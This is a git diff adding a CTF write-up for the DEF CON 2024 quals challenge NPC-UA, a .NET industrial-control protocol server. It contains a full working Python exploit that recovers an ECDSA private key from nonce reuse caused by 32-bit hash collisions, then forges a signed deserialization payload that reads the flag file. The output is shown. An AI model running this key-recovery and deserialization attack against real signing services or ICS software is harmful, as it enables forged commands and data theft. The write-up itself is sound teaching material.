diff --git a/2024/defcon-quals/2024-06-04-defcon-quals.md b/2024/defcon-quals/2024-06-04-defcon-quals.md new file mode 100644 index 0000000..8a67d2a --- /dev/null +++ b/2024/defcon-quals/2024-06-04-defcon-quals.md @@ -0,0 +1,592 @@ +# defcon quals writeup: NPC-UA + +earlier this month i got to play defcon quals with shellphish. it was overall a good time, but we +unfortunately (likely) didn't qualify for finals, which ends a 20 year long streak of shellphish +qualifying. this is very sad, but on the upside i get another year to cook my tooling (that i have +not worked on for like months at this point) and won't have to make the tough choice of whether to +spend my time playing CTF or like, actually being at defcon, so it's not all bad + +NPC-UA is a .NET challenge that mimics the industry standard (apparently) OPC-UA protocol for +communicating with industrial control systems. the high level overview of the exploit is combining +an ECDSA nonce reuse vulnerability with a deserialization primitive to read out the flag file + +## a bit on tooling + +for .NET stuff i tend to use (jetbrains) dotPeek, which has the unfortunate downside of being +windows only (and closed source, boo...) but during the CTF i also was trying out +[AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) and because i don't really want to +boot up my windows VM right now this writeup is going to use that. it's a bit less polished than +dotPeek but perfectly capable + +## challenge files + +- the original challenge file: [ic_server.tar.gz](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/defcon-quals/ic_server.tar.gz) +- challenge source: + +we have 2 main files of interest: `npcua.nautilus.dll` and `crypto.nautilus.dll`. we can load up all +the dependencies and the 2 main files into ilspy (at once, so it can resolve the external calls). +crypto is smaller so we'll look at it first + +### running the server + +the server needs a few files and it's not obvious how to generate them so here's what you need + +```bash +openssl ecparam -name secp256k1 -genkey -noout -out key.pem +openssl ec -in key.pem -pubout -out public.pem +echo "flag{TESTFLAG}" > flag.txt +``` + +now the provided docker file and run_on_socket.sh script can be used + +## `crypto.nautilus` + +here's everything in this module + +![all the classes of importance defined in crypto.nautilus.dll: Crypto and +DeterministicECDSA](crypto.nautilus.png) + +### deterministic ECDSA + +first of all, for a primer on elliptic curve cryptography and ECDSA see +[this writeup](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto). yes, that post was +made before i had a blog platform with mathML available. and i haven't gone back and changed it to +use proper math now either. sorry,, + +here's the code from ILSpy for `DeterministicECDSA`: + +```cs +internal class DeterministicECDSA : IDsaKCalculator +{ + private readonly HMac hMac; + + public readonly byte[] K; + + public readonly byte[] V; + + private BigInteger n; + + public virtual bool IsDeterministic => true; + + public DeterministicECDSA(IDigest digest, uint HashCode) + { + hMac = new HMac(digest); + V = new byte[hMac.GetMacSize()]; + K = new byte[hMac.GetMacSize()]; + n = BigInteger.Zero; + byte[] bytes = BitConverter.GetBytes(HashCode); + Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length); + } + + public virtual void Init(BigInteger n, SecureRandom random) + { + throw new InvalidOperationException("Operation not supported"); + } + + public void Init(BigInteger n, BigInteger d, byte[] message) + { + this.n = n; + byte[] bytes = BitConverter.GetBytes((uint)d.GetHashCode()); + Buffer.BlockCopy(bytes, 0, K, 0, bytes.Length); + } + + public virtual BigInteger NextK() + { + byte[] array = new byte[BigIntegers.GetUnsignedByteLength(n)]; + BigInteger bigInteger; + while (true) + { + int num; + for (int i = 0; i < array.Length; i += num) + { + hMac.BlockUpdate(V, 0, V.Length); + hMac.DoFinal(V, 0); + num = Math.Min(array.Length - i, V.Length); + Array.Copy(V, 0, array, i, num); + } + bigInteger = BitsToInt(array); + if (bigInteger.SignValue > 0 && bigInteger.CompareTo(n) < 0) + { + break; + } + hMac.BlockUpdate(V, 0, V.Length); + hMac.Update(0); + hMac.DoFinal(K, 0); + hMac.Init(new KeyParameter(K)); + hMac.BlockUpdate(V, 0, V.Length); + hMac.DoFinal(V, 0); + } + return bigInteger; + } + + private BigInteger BitsToInt(byte[] t) + { + BigInteger bigInteger = new BigInteger(1, t); + if (t.Length * 8 > n.BitLength) + { + bigInteger = bigInteger.ShiftRight(t.Length * 8 - n.BitLength); + } + return bigInteger; + } +} +``` + +this implements [deterministic ECDSA (RFC 6979)](https://datatracker.ietf.org/doc/html/rfc6979), +which is a scheme for computing ECDSA signatures without a source of cryptographic randomness +available. in this case, the challenge is emulating an industrial control system type of scenario +where having a good TRNG might not be guaranteed. RFC 6979 specifies how to generate the $k$ +values needed for the signatures, which are normally required to be random. If different messages +are signed with the same $k$ and the same key, it becomes possible to recover the key using some +simple modular arithmetic. + +In RFC 6979, the procedure to generate $k$ goes like this + +1. Hash the message $m$ to produce $h_1 = H(m)$ +2. Initialize $V = {01\ 01\ 01\ \dots\ 01}_{16}$ and $K = {00\ 00\ 00\ \dots\ 00}_{16}$ +3. Compute $K = \operatorname{HMAC}_K(V \parallel 00_{16} \parallel x \parallel h_1)$, where $x$ is + the private key +4. Do more HMAC computations to arrive at the final result $k$, this part is not important + +The only input to this scheme that varies is the message hash, $h_1$. If you know $m$ and therefore +$h_1$, you still cannot guess $k$ because it involves HMAC computations including the private key +$x$. However, any $k$ value calculated is unique per unique $h_1$. + +With this knowledge let's look back at the constructor of the class +```cs +public DeterministicECDSA(IDigest digest, uint HashCode) +{ + // ... + byte[] bytes = BitConverter.GetBytes(HashCode); + Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length); +} +``` + +The value used for $V$ is a 32 bit hashcode. Normally, you'd use a cryptographic hash like SHA-2. +The procedure here also departs from the RFC in some other ways. So let's look at where `HashCode` +comes from + +```cs +public class Crypto +{ + // ... + + public string SignString(string data) + { + uint hashCode = (uint)data.GetHashCode(); + ECPrivateKeyParameters parameters = (ECPrivateKeyParameters)keyPair.Private; + DeterministicECDSA kCalculator = new DeterministicECDSA(new Sha256Digest(), hashCode); + // ... + } + + // ... +} +``` + +The `hashCode` is computed using the regular C# builtin `GetHashCode` function. Since it's only 32 +bits and non-cryptographic, it should be possible to generate a collision and then use this to +generate two signatures with identical $k$ values. This can be used to recover the private key. + +### brute forcing + +the official organizer solution has a convoluted Z3 script to compute a hash collision, but during +the CTF we chose the much simpler approach of brute force, which also worked. the following code +isn't the original script we developed because that one is a huge mess and kind of awful. instead, +here's a much shorter and cleaned up solution + +.NET uses a hashing function called "marvin32", and the implementation is located in the private +`System.Marvin` module, so we will need to use reflection to be able to invoke it. additionally, +since it uses a weird ref struct thing as a parameter (i don't know .NET and a lot of this is kind +of annoying magic to me) so we have to use a delegate to call it via reflection + +```fsharp +open System +open System.Runtime.InteropServices + +let marvin = "".GetType().Assembly.GetType("System.Marvin") +(* obtain the MethodInfo for the 2-argument ComputeHash32 method *) +(* this is kind of hax, since the method we want happens to be the first one *) +(* i couldn't figure out another way to do this because of the weird ref struct fuckery *) +let computehash32 = marvin.GetMethods()[0] +type ComputeHash32 = delegate of ReadOnlySpan * uint64 -> int +let computehash32_delegate = computehash32.CreateDelegate() + +let seeded_hashcode (seed : uint64) (str : string) : int = + let bytes = MemoryMarshal.AsBytes(str.AsSpan()) in + computehash32_delegate.Invoke(bytes, seed) +``` + +now we're ready to brute force. this simply iterates over numbers and stores the hashcode of the +stringified versions of those until a collision is found, at which point the colliding inputs are +printed + +```fsharp +let seed = Environment.GetEnvironmentVariable("SEED") |> UInt64.Parse + +let rec search (candidates : Map) (i : int) : unit = + let j = i.ToString() in + let hashcode = seeded_hashcode seed ("\"" + j + "\"") in + match candidates.TryFind hashcode with + | None -> search (candidates.Add(hashcode, j)) (i + 1) + | Some value -> printfn "%s" value; printfn "%s" j +in +search (Map []) 0 +``` + +Microsoft OCaml is weird. i'm not sure i like it a huge amount, but i'd rather be writing this than +directly writing Microsoft Java + +let's try it out + +```bash +nix-shell --pure -p dotnet-sdk --run 'env SEED=1337 dotnet run' +``` +``` +8654 +49821 +``` + +## `npcua.nautilus` + +this is the main module. i'm going to kind of gloss over reversing the code because at this point +this blog post has been sitting in my drafts for literally an entire month. if you do the reversing +you'll find that the server supports network commands to read and write values, which can be special +server variables such as `"npc://variable/environment"` or reflected .NET values such as, well +conveniently, `"npc://system/Marvin/DefaultSeed"`. it also contains an import and export function +which serializes and deserializes payloads which are signed using the functions we covered in +`crypto.nautilus`. so the exploit strategy is to read out the current marvin hash seed, generate a +collision, use that to forge a signature on an arbitrary deserialization payload, and hopefully get +the flag + +## the full exploit + +starting with some boilerplate + +```python +import ast +import binascii +from dataclasses import dataclass +from enum import IntEnum +import hashlib +import json +import os +import struct +import subprocess + +from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature +from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_private_key +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.asymmetric import ec +from cryptography.exceptions import InvalidSignature +import nclib + +def p32(x): + return struct.pack(" Message : + type_ = r.readexactly(3) + reserved = r.readexactly(1) + length = r.readexactly(4) + remaining_length = u32(length) - 8 + data = r.readexactly(remaining_length) + return Message(type_, reserved, data) + +def make_sec_msg_header(): + return ( + p32(0) # item + + p32(0) # length1 + + p32(0) # length2 + + p32(0) # num1 + + p32(0) # num2 + + p32(0) # num3 + ) +def make_msg_msg(service_id, json_): + serialized = ( + make_sec_msg_header() + + p32(0) # num1 + + p32(0) # num2 + + p32(0) # num3 + + p32(0) # num4 + + p32(service_id) + + json.dumps(json_).encode() + ) + return make_msg(b"MSG", serialized) + +@dataclass +class SecMessage: + send_sec: bool + policy_uri: bytes + pubkey: bytes + rest: bytes + +def parse_sec_msg(data): + send_sec = bool(u32(data[0:4])) + policy_uri_len = u32(data[4:8]) + policy_uri = data[8:8+policy_uri_len] + i = 8 + policy_uri_len + pubkey_length = u32(data[i:i+4]); i += 4 + pubkey = data[i:i+pubkey_length]; i += pubkey_length + # next 3 dwords are zeros, I think + rest = data[i + 3*4:] + return SecMessage( + send_sec=send_sec, + policy_uri=policy_uri, + pubkey=pubkey, + rest=rest, + ) + +@dataclass +class ServiceResponse: + data: dict + sec_msg: SecMessage + +def read_service_response(r): + msg = read_msg(r) + sec_msg = parse_sec_msg(msg.data) + response_data = json.loads(sec_msg.rest.decode()) + return ServiceResponse(response_data, sec_msg) + +DEFAULT_HDR = { + "authToken": "", + "timestamp": 0, + "requestHandle": 0, + "returnDiagnostics": 1, + "auditEntryId": "foo", + "timeoutHint": 100, +} +``` + +this function creates a request to read out the marvin seed using the read functionality. using the +URL `"npc://system/Marvin/DefaultSeed"` results in the service doing the reflection operations to +read out a field from an arbitrary class in `System.Private.CoreLib`. this still works even if the +class and field are private + +```python +def get_marvin_seed(): + r.send(make_msg_msg(ServiceId.READ_SERVICE, { + "requestHeader": DEFAULT_HDR, + "nodesToRead": [{ + # Crafts string "System.Private.CoreLib/System.foo/bar" + # which will call assembly = Assembly.Load("System.Private.CoreLib) + # then type = assembly.GetType("System.foo") + # then property = type.GetProperty("bar") + # then return property.GetValue(null, null).ToString() + # since we asked for AttributeId.Value + "nodeId": "npc://system/Marvin/DefaultSeed", + "attributeId": AttributeId.Value, + }] + + })) + response = read_service_response(r) + seed = int(ast.literal_eval(response.data["results"][0]["value"]["data"])) + return seed +``` + +this implements the functionality to write a given value to the service and observe an ECDSA +signature for that value. the signature is a simple ASN.1 object with the two parts $r$ and $s$ and +it can be decoded using the cryptography package into python ints + +```python +def decode_signature(b64): + r, s = decode_dss_signature(binascii.a2b_base64(b64)) + return r, s + +def signature_oracle(data): + r.send(make_msg_msg(ServiceId.WRITE_SERVICE, { + "requestHeader": DEFAULT_HDR, + "nodesToWrite": [{ + "nodeId": "npc://variable/environment", + "attributeId": AttributeId.Value, + "value": data, + }] + + })) + response = read_service_response(r) + if response.data["results"][0]["statusCode"] != 0: + raise Exception("failed to write!") + r.send(make_msg_msg(ServiceId.READ_SERVICE, { + "requestHeader": DEFAULT_HDR, + "nodesToRead": [{ + "nodeId": "npc://variable/environment", + "attributeId": AttributeId.Value, + }] + + })) + response = read_service_response(r) + sig = response.data["results"][0]["value"]["signature"] + return decode_signature(sig) +``` + +assuming we've cracked the private key, this function allows running an import operation with an +arbitrary payload and creating a forged ECDSA signature for it + +```python +DEFAULT_CURVE = ec.SECP256K1() + +def run_payload(recovered_d, payload): + key = ec.derive_private_key(recovered_d, DEFAULT_CURVE) + sig = key.sign(payload.encode('utf-16le'), ec.ECDSA(hashes.SHA256())) + sig = binascii.b2a_base64(sig).decode() + r.send(make_msg_msg(ServiceId.IMPORT_SERVICE, { + "requestHeader": DEFAULT_HDR, + "nodesToImport": [{ + "data": payload, + "signature": sig, + }] + })) + resp = read_service_response(r) + print(resp.data) +``` + +this is a utility function to run our previous .NET program and generate some HashCode-colliding +strings provided a given seed + +```python +def get_seed_colliders(seed): + return subprocess.check_output( + ["dotnet", "run"], env={"SEED": str(seed), **os.environ}) \ + .decode('utf-8').strip().split("\n") +``` + +finally, this function implements the nonce-reuse attack on ECDSA. we can factor out the common $k$ +that was used from both signatures and then use that to recover the private key $d$. all operations +here are modulo the order $n$ of the curve group. $m_1$ and $m_2$ are the two messages, and +$r_1, s_1$ and $r_2, s_2$ are the two observed signatures made with the $k$ reuse. see also: [ECDSA +primer](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto) + +```python +# secp256k1 +n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 + +def recover_d(m1, r1, s1, m2, r2, s2): + global n + z1 = int.from_bytes(hashlib.sha256(m1).digest(), 'big') + z2 = int.from_bytes(hashlib.sha256(m2).digest(), 'big') + k = ((z2 - z1) * pow(s2 - s1, -1, n)) % n + + d = ((s1 * k - z1) * pow(r1, -1, n)) % n + return d +``` + +now we put it all together. first, connect to the service, obtain the seed, generate collisions, and +recover the private key + +```python +if __name__ == "__main__": + r = nclib.Netcat("localhost:8081") + print("connected") + + marvin_seed = get_marvin_seed() + print("seed", marvin_seed) + + m1, m2 = get_seed_colliders(marvin_seed) + print(f"m1: {m1!r}, m2: {m2!r}") + + r1, s1 = signature_oracle(m1) + print("message 1 sig", r1, s1) + r2, s2 = signature_oracle(m2) + print("message 2 sig", r2, s2) + + d = recover_d(f'"{m1}"'.encode('utf-16le'), r1, s1, f'"{m2}"'.encode('utf-16le'), r2, s2) + print("cracked the private key", d) +``` + +finally, generate and forge a signature for the payload. here, it turns out that the class +(representing an F# closure) `NPCUA+loadPublicKey` of `npcua.nautilus` can be inserted into the +payload to instantiate it with an arbitrary file path instead of the usual public key path. this +will result in the public key contents being overwritten with the contents of the given file, and +this can be read out on a subsequent read request + +```python + payload = { + "_flags": "subtype", + "subtype": { + "Case": "NamedType", + "Name": "NPCUA+loadPublicKey@435", + "Assembly": { + "Name": "npcua.nautilus", + "Version": "1.0.0.0", + "Culture": "neutral", + "PublicKeyToken": "" + } + }, + "instance": { + "pubkeypath": "/flag.txt" + } + } + + payload = json.dumps(payload) + print(payload) + run_payload(d, payload) +``` + +now the next read request will contain the flag where the public key data should be + +```python + r.send(make_msg_msg(ServiceId.READ_SERVICE, { + "requestHeader": DEFAULT_HDR, + "nodesToRead": [{ + "nodeId": "npc://variable/environment", + "attributeId": AttributeId.Value, + }] + + })) + response = read_service_response(r) + print(response.sec_msg.pubkey) +``` + +let's try it out + +```bash +nix-shell --pure -p dotnet-sdk -p python312 \ + -p python312Packages.nclib \ + -p python312Packages.cryptography \ + --run 'python3 exploit.py' +``` +``` +connected +seed 10102463054732467792 +m1: '115125', m2: '129970' +message 1 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 97404277344851007915084942883128486005554294925527719094904206023362105536268 +message 2 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 36947863524362341205378268624583843448888073187358738954544173689935462272643 +cracked the private key 30774635644485029908090334147150559547480731425600142680743337346815506314317 +{"_flags": "subtype", "subtype": {"Case": "NamedType", "Name": "NPCUA+loadPublicKey@435", "Assembly": {"Name": "npcua.nautilus", "Version": "1.0.0.0", "Culture": "neutral", "PublicKeyToken": ""}}, "instance": {"pubkeypath": "/flag.txt"}} +{'responseHeader': {'timestamp': 133619595308606557, 'requestHandle': 0, 'serviceResult': 0, 'serviceDiagnostics': None, 'stringTable': []}, 'error': 'The operation succeeded.', 'diagnosticInfos': []} +b'flag{TESTFLAG}\n' +``` diff --git a/2024/defcon-quals/crypto.nautilus.png b/2024/defcon-quals/crypto.nautilus.png new file mode 100644 index 0000000..29b717c Binary files /dev/null and b/2024/defcon-quals/crypto.nautilus.png differ